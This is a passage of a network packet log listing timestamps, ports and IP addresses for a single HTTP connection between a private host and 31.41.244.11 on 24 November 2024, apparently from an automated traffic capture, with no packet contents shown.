Nov 24, 2024 10:24:17.008275032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.008317947 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.008349895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.008390903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.009490013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.009515047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.009541988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.009553909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.013605118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.013657093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.014131069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.014169931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.014209986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.014224052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.014247894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.014262915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.014309883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.014327049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.014350891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.014364004 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.015327930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.015346050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.015374899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.015391111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.016355038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.016405106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.016562939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.016602993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.017605066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.017651081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.017961979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.018019915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.018659115 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.018699884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.018841028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.018881083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.019556046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.019571066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.019598007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.019608974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.019896030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.019944906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.020024061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.020070076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.021166086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.021213055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.021327972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.021370888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.022322893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.022365093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.022408009 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.022448063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.023401022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.023443937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.023468971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.023510933 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.024183989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.024229050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.167036057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.167093992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.167125940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.167171001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.167562962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.167608976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.167747974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.167804003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.167908907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.167954922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.168976068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.169018984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.169074059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.169117928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.170041084 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.170084000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.170191050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.170233011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.171350002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.171396017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.171421051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.171462059 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.172440052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.172485113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.172506094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.172518969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.173471928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.173518896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.173573017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.173619986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.174583912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.174632072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.174690008 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.174729109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.175789118 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.175833941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.175864935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.175906897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.176876068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.176923037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.176938057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.176961899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.177973032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.178020000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.178077936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.178118944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.179088116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.179143906 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.179208994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.179253101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.180234909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.180289030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.180315971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.180355072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.181360006 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.181411028 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.181507111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.181555986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.182483912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.182533026 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.182616949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.182667017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.183679104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.183731079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.183818102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.183878899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.184941053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.184957027 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.184984922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.185005903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.185882092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.185940027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.186074018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.186117887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.187042952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.187093019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.187149048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.187191963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.188154936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.188204050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.188241959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.188283920 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.189353943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.189410925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.189419985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.189460993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.190687895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.190704107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.190733910 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.190747976 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.191538095 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.191586971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.191612005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.191654921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.192693949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.192744970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.192774057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.192816973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.193824053 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.193865061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.193892956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.193902969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.194962978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.195008993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.195117950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.195161104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.196058989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.196109056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.196206093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.196245909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.197205067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.197253942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.197309017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.197352886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.198435068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.198448896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.198477983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.198487997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.199489117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.199533939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.199568033 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.199609995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.200663090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.200710058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.200740099 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.200779915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.201797962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.201848030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.201930046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.202291965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.202900887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.202944994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.203008890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.203048944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.204132080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.204205990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.204230070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.204277039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.205142021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.205188990 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.205300093 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.205339909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.206366062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.206381083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.206403971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.206418991 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.207442999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.207487106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.207555056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.207596064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.208515882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.208560944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.208652973 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.208693027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.209669113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.209711075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.209736109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.209774971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.210813999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.210858107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.210881948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.210918903 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.211954117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.211997986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.212024927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.212065935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.213191032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.213239908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.213263035 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.213304043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.214304924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.214375973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.214401007 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.214442968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.215496063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.215540886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.215567112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.215610027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.216624975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.216666937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.216732979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.216777086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.217744112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.217784882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.217840910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.217885017 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.218926907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.218972921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.219000101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.219041109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.219860077 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.219903946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.219984055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.220029116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.220977068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.221024036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.221154928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.221201897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.222129107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.222173929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.222230911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.222273111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.223287106 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.223331928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.223474026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.223515987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.224411964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.224479914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.224510908 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.224554062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.225562096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.225606918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.225658894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.225701094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.368359089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.368392944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.368633032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.368841887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.369106054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.369123936 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.369173050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.369193077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.370223999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.370279074 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.370358944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.370404959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.371350050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.371407032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.371527910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.371573925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.372453928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.372498989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.372522116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.372564077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.373574018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.373622894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.373682022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.373728037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.374885082 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.374936104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.374969006 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.375010014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.375863075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.375911951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.375992060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.376034975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.377104044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.377121925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.377151966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.377165079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.378113985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.378161907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.378283978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.378329992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.379321098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.379368067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.379427910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.379473925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.380430937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.380482912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.381246090 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.381297112 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.381781101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.381798983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.381824970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.381836891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.382927895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.382976055 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.383147955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.383191109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.384258032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.384273052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.384301901 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.384314060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.385113955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.385129929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.385162115 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.385173082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.386050940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.386101007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:17.386204958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:17.386248112 CET	49813	80	192.168.2.5	31.41.244.11
